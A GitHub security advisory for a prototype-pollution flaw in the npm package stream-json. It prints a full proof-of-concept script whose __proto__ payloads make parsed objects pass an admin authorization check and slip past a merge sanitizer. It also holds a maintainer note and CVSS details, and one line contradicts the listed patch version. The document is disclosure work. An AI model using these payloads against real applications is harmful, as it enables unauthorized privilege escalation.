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stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects

Moderate severity GitHub Reviewed Published Aug 28, 2026 in uhop/stream-json • Updated Oct 5, 2026

Package

npm stream-json (npm)

Affected versions

< 3.6.0

Patched versions

3.6.0

Description

Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');
check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));
check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);
check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);

console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');
check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');
check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);

console.log('== D. FAIL-CLOSED CONTROLS ==');
check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);
check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);
check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);

console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');
const authorize = o => o.isAdmin === true && o.role === 'superuser';
check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);
check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);
const target = { theme: 'light' };
for (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)
check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',
      Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);
const t2 = { theme: 'light' };
for (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean
check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));

console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`);
process.exit(fail ? 1 : 0);

Observed output (verbatim, Node 24.15.0, Windows):

RESULT: 21 PASS / 0 FAIL

Impact

Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.


Maintainer note on scope

The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global Object.prototype); "__proto__": null additionally strips Object.prototype from the parsed object, so ordinary consumer code calling hasOwnProperty() throws. Assembler and FlexAssembler now create an own data property for a __proto__ key, exactly as JSON.parse does.


References

@uhop uhop published to uhop/stream-json Aug 28, 2026
Published by the National Vulnerability Database Oct 1, 2026
Published to the GitHub Advisory Database Oct 5, 2026
Reviewed Oct 5, 2026
Last updated Oct 5, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. Learn more on MITRE.

CVE ID

CVE-2026-104183

GHSA ID

GHSA-mjw6-4jj6-33hc

Source code

Credits

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